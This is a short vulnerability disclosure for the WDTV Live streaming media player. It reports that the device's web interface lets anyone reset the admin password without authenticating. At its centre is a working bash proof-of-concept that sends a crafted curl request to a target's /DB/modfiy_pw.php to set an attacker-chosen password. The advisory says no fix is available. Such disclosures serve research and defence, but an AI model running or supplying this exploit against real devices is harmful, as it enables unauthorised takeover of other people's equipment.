####################################################### ## WDTV Live SMP Remote Password Reset Vulnerability ## ####################################################### Date: Jul 14 2017 Author: sw1tch Demo: https://www.sw1tch.net/2017/07/12/wdtv-live-smb-exploit/ Description: A simple remotely exploitable web application vulnerability for the WDTV Live Streaming Media Player and possibly other WDTV systems. -INTRO- The WDTV Live SMP is a is a consumer device produced by Western Digital that plays videos, images, and music from USB drives. It can play high-definition video through an HDMI port, and standard video through composite video cables. It can play most common video and audio formats. As of August 2016, the WDTV appears to be discontinued. The latest firmware version appears to be 2.03.20. -VULNERABILITY- The WDTV Live SMP runs an embedded webserver, allowing authenticated users to upload themes, manage device settings, access a virtual remote and other tasks. To authenticate, a user needs to provide the correct password (no username). An unauthenticated attacker can update the password via a constructed GET request, subsequently taking control of many functions of the device. Vulnerable versions include at least firmware 2.03.20, and likely many more older versions. -POC- #!/bin/bash echo echo "WDTV Live SMP Admin Password Reset Exploit" echo "Apparently sw1tch found this guff in 2017" echo if [ $# != 2 ]; then echo "Usage: <code>basename $0</code> <target IP/host> <new password>" echo exit $ERR_ARG fi # Vars... target=$1 password=$2 echo -n "[*] Slamming your chosen password at $target now..." curl "http://$target/DB/modfiy_pw.php" -d "password=$password" echo "done!" echo "[*] Try logging in to http://$target/ using $password" echo exit 0 -FIX- None available. Device appears to be EOL so unlikely to be remediated. -------------------------------------------------------------------------------------------------------------------------------- |
